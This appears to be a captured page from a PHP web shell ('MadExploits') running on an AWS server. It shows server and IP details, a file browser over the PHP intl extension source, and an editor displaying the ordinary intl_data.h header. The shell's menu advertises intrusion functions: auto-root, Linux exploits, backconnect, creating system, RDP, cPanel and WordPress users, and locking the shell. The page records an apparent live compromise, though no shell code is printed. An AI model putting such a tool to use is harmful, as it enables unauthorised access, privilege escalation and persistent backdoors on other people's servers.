Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 3.136.236.39
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
server /
php /
80 /
src /
ext /
intl /
[ HOME SHELL ]
Name
Size
Permission
Action
breakiterator
[ DIR ]
drwxr-xr-x
calendar
[ DIR ]
drwxr-xr-x
collator
[ DIR ]
drwxr-xr-x
common
[ DIR ]
drwxr-xr-x
converter
[ DIR ]
drwxr-xr-x
dateformat
[ DIR ]
drwxr-xr-x
formatter
[ DIR ]
drwxr-xr-x
grapheme
[ DIR ]
drwxr-xr-x
idn
[ DIR ]
drwxr-xr-x
locale
[ DIR ]
drwxr-xr-x
msgformat
[ DIR ]
drwxr-xr-x
normalizer
[ DIR ]
drwxr-xr-x
resourcebundle
[ DIR ]
drwxr-xr-x
spoofchecker
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
timezone
[ DIR ]
drwxr-xr-x
transliterator
[ DIR ]
drwxr-xr-x
uchar
[ DIR ]
drwxr-xr-x
CREDITS
119
B
-rw-r--r--
ERROR_CONVENTIONS.md
4.96
KB
-rw-r--r--
config.m4
4.09
KB
-rw-r--r--
config.w32
4.08
KB
-rw-r--r--
intl_common.h
1.68
KB
-rw-r--r--
intl_convert.c
4.8
KB
-rw-r--r--
intl_convert.h
1.24
KB
-rw-r--r--
intl_convertcpp.cpp
2.54
KB
-rw-r--r--
intl_convertcpp.h
1.22
KB
-rw-r--r--
intl_cppshims.h
1.15
KB
-rw-r--r--
intl_data.h
5.33
KB
-rw-r--r--
intl_error.c
6.86
KB
-rw-r--r--
intl_error.h
2.33
KB
-rw-r--r--
php_intl.c
8.48
KB
-rw-r--r--
php_intl.h
2.42
KB
-rw-r--r--
php_intl.stub.php
16.59
KB
-rw-r--r--
php_intl_arginfo.h
51.45
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : intl_data.h
/* +----------------------------------------------------------------------+ | This source file is subject to version 3.01 of the PHP license, | | that is bundled with this package in the file LICENSE, and is | | available through the world-wide-web at the following url: | | http://www.php.net/license/3_01.txt | | If you did not receive a copy of the PHP license and are unable to | | obtain it through the world-wide-web, please send a note to | | license@php.net so we can mail you a copy immediately. | +----------------------------------------------------------------------+ | Authors: Vadim Savchuk <vsavchuk@productengine.com> | | Dmitry Lakhtyuk <dlakhtyuk@productengine.com> | | Stanislav Malyshev <stas@zend.com> | +----------------------------------------------------------------------+ */ #ifndef INTL_DATA_H #define INTL_DATA_H #include <unicode/utypes.h> #include "intl_error.h" /* Mock object to generalize error handling in sub-modules. Sub-module data structures should always have error as first element for this to work! */ typedef struct _intl_data { intl_error error; zend_object zo; } intl_object; #define INTL_METHOD_INIT_VARS(oclass, obj) \ zval* object = NULL; \ oclass##_object* obj = NULL; \ intl_error_reset( NULL ); #define INTL_DATA_ERROR(obj) (((intl_object *)(obj))->error) #define INTL_DATA_ERROR_P(obj) (&(INTL_DATA_ERROR((obj)))) #define INTL_DATA_ERROR_CODE(obj) INTL_ERROR_CODE(INTL_DATA_ERROR((obj))) #define INTL_METHOD_FETCH_OBJECT(oclass, obj) \ obj = Z_##oclass##_P( object ); \ intl_error_reset( INTL_DATA_ERROR_P(obj) ); \ /* Check status by error code, if error return false */ #define INTL_CHECK_STATUS(err, msg) \ intl_error_set_code( NULL, (err) ); \ if( U_FAILURE((err)) ) \ { \ intl_error_set_custom_msg( NULL, msg, 0 ); \ RETURN_FALSE; \ } /* Check status by error code, if error return null */ #define INTL_CHECK_STATUS_OR_NULL(err, msg) \ intl_error_set_code( NULL, (err) ); \ if( U_FAILURE((err)) ) \ { \ intl_error_set_custom_msg( NULL, msg, 0 ); \ RETURN_NULL(); \ } /* Check status in object, if error return false */ #define INTL_METHOD_CHECK_STATUS(obj, msg) \ intl_error_set_code( NULL, INTL_DATA_ERROR_CODE((obj)) ); \ if( U_FAILURE( INTL_DATA_ERROR_CODE((obj)) ) ) \ { \ intl_errors_set_custom_msg( INTL_DATA_ERROR_P((obj)), msg, 0 ); \ RETURN_FALSE; \ } /* Check status in object, if error goto a label */ #define INTL_METHOD_CHECK_STATUS_OR_GOTO(obj, msg, label) \ intl_error_set_code( NULL, INTL_DATA_ERROR_CODE((obj)) ); \ if( U_FAILURE( INTL_DATA_ERROR_CODE((obj)) ) ) \ { \ intl_errors_set_custom_msg( INTL_DATA_ERROR_P((obj)), msg, 0 ); \ RETVAL_FALSE; \ goto label; \ } /* Check status in object, if error return null */ #define INTL_METHOD_CHECK_STATUS_OR_NULL(obj, msg) \ intl_error_set_code( NULL, INTL_DATA_ERROR_CODE((obj)) ); \ if( U_FAILURE( INTL_DATA_ERROR_CODE((obj)) ) ) \ { \ intl_errors_set_custom_msg( INTL_DATA_ERROR_P((obj)), msg, 0 ); \ zval_ptr_dtor(return_value); \ RETURN_NULL(); \ } /* Check status in object, if error return FAILURE */ #define INTL_CTOR_CHECK_STATUS(obj, msg) \ intl_error_set_code( NULL, INTL_DATA_ERROR_CODE((obj)) ); \ if( U_FAILURE( INTL_DATA_ERROR_CODE((obj)) ) ) \ { \ intl_errors_set_custom_msg( INTL_DATA_ERROR_P((obj)), msg, 0 ); \ return FAILURE; \ } #define INTL_METHOD_RETVAL_UTF8(obj, ustring, ulen, free_it) \ { \ zend_string *u8str; \ u8str = intl_convert_utf16_to_utf8(ustring, ulen, &INTL_DATA_ERROR_CODE((obj))); \ if((free_it)) { \ efree(ustring); \ } \ INTL_METHOD_CHECK_STATUS((obj), "Error converting value to UTF-8"); \ RETVAL_NEW_STR(u8str); \ } #define INTL_MAX_LOCALE_LEN (ULOC_FULLNAME_CAPACITY-1) #define INTL_CHECK_LOCALE_LEN(locale_len) \ if((locale_len) > INTL_MAX_LOCALE_LEN) { \ char *_msg; \ spprintf(&_msg, 0, "Locale string too long, should be no longer than %d characters", INTL_MAX_LOCALE_LEN); \ intl_error_set( NULL, U_ILLEGAL_ARGUMENT_ERROR, _msg, 1); \ efree(_msg); \ RETURN_NULL(); \ } #define INTL_CHECK_LOCALE_LEN_OR_FAILURE(locale_len) \ if((locale_len) > INTL_MAX_LOCALE_LEN) { \ char *_msg; \ spprintf(&_msg, 0, "Locale string too long, should be no longer than %d characters", INTL_MAX_LOCALE_LEN); \ intl_error_set( NULL, U_ILLEGAL_ARGUMENT_ERROR, _msg, 1); \ efree(_msg); \ return FAILURE; \ } #endif // INTL_DATA_H
Close